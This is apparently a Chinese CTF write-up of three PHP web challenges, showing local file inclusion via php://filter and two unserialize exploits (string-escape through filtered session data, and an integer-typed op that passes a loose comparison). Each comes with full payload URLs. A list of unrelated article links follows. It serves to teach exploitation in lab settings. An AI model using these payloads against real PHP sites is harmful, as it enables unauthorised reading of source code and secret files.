目录
[ 2020]Had a bad day
总结:
[安洵杯 2019]
总结:
[网鼎杯 2020 青龙组]
总结:
[ 2020]Had a bad day
打开页面让我看看猫咪和修勾打开后发现url上有参数,存在sql注入?但是我加单引号后发现,他并没有那么简单,他是文件包含!
伪协议读源码
category=php://filter/read=convert.base64-encode/resource=index
得到源码
PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdX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6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==
解密得到源码,审代码,我拿出了需要用的地方
$file = $_GET['category'];if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } }
最后一步就是包含flag了!
?category=meowers/../flag
没有东西!但是在源代码里出现了
说明包含到了,但是没有到位 。那就:
?category=php://filter/read=convert.base64-encode/resource=meowers/../flag
总结:
文件包含读源码也是没有入手点时候的一种思路!
[安洵杯 2019]
浅浅的读一下这个源码吧!
要用GET传参一个f,并且进行过滤,后缀中不可以出现php,flag,php5,php4,fl1g
unset()销毁指定的变量
把POST变为变量
最后对$进行了一些过滤
因为题目提示可能在()中看到一些东西,那我们就让参数f等于"",
我找到了这个!显然是要读取这个文件!那我们就浅浅的读一下吧!要读这个文件就要回去看代码,我们需要用到的部分是
if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));}
必须要让$等于
读取的是解码后的$[‘img’],$的值是$的反序列化对象,$是经过自定义函数过滤的序列化后的$ 。
这个函数是自定义的,考察了反序列化字符逃逸
$_SESSION["user"]='flagflagflagflagflagflag';$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
对上述代码序列化后得到的应该是
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
但是让函数过滤后就会变为
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
第二个s类型应该是一坨flag,但是被过滤了,php就会尝试向后读取它该有的24个字符,也就是
;s:8:”function”;s:59:”a”
刚好后面就是img,这样就成功的把
ZDBnM19mMWFnLnBocA==
赋值给img
冲!
【[网鼎杯 2020 青龙组]AreUSerialz】get:f=show_image post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
回显出现
base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn
所以我们:
get:f=show_imagepost:_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
总结:
在PHP中反序列化的过程中必须严格按照序列化规则才能成功实现反序列化!
反序列化做的题太少了,导致我在这卡了很久!要多做反序列化了!
[网鼎杯 2020 青龙组]
代码太长了,我就不截图出来了 。
审代码吧!用GET方式传入序列化的str字符串,字符串中的字符ASCII范围在32到125之间(ASCII码表)
在反序列化的过程中,调用析构方法
如果op==="2",将其赋为"1",同时赋为空,进入函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较
进入函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较== 。
所以我们只要令op=2,这里的2是整数int 。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数
是我们可以控制的,接着使用函数读取文件,我们此处借助php://伪协议读取文件,获取到文件后使用函数输出
整个利用思路就很明显了,还有一个需要注意的地方是,$op,$,$三个变量权限都是,而权限的变量在序列化的时会有*字符,字符的ASCII码为0,就无法通过上面的函数校验 。
process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]:
";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";// $this->process();}}$A=new FileHandler();$B=serialize($A);echo $B;
运行之后,这不可显字符夹着一个星号*的地方就是字符
看了看大佬的wp
有几种绕过方式,我觉得最好的方法就是
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为进行绕过
public $op=2;public $filename="php://filter/read=convert.base64-encode/resource=flag.php";public $content;
现在得到的结果就没有字符了
最终:
?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
总结:
要懂得利用PHP版本对漏洞的帮助,给他一套组合拳!
感谢buu提供优质题,也感谢勤劳的自己!
- 2020-2022 【考研】暨南大学 848 操作系统简答题
- 2020/1/19计算机网络在信息时代的作用
- 2020的5个最佳可视化案例
- HDC 2020:华为DTM为数字营销注入新活力
- AIM2020-ESR冠军方案解读:引入注意力模块ESA
- 2020湖北科技学院分数线计算机会下降吗
- 开局多久后会在地图上刷出主宰 开局多久后会在地图上刷出主宰?2020
- 2020蓝天杯论文评比系统_产业动态 | 清华同方荣获第三届清洁能源供暖优秀工程
- 2020,哪些真实用例将推动区块链领域快速发展
- 2020高压电工模拟考试题及高压电工复审模拟考试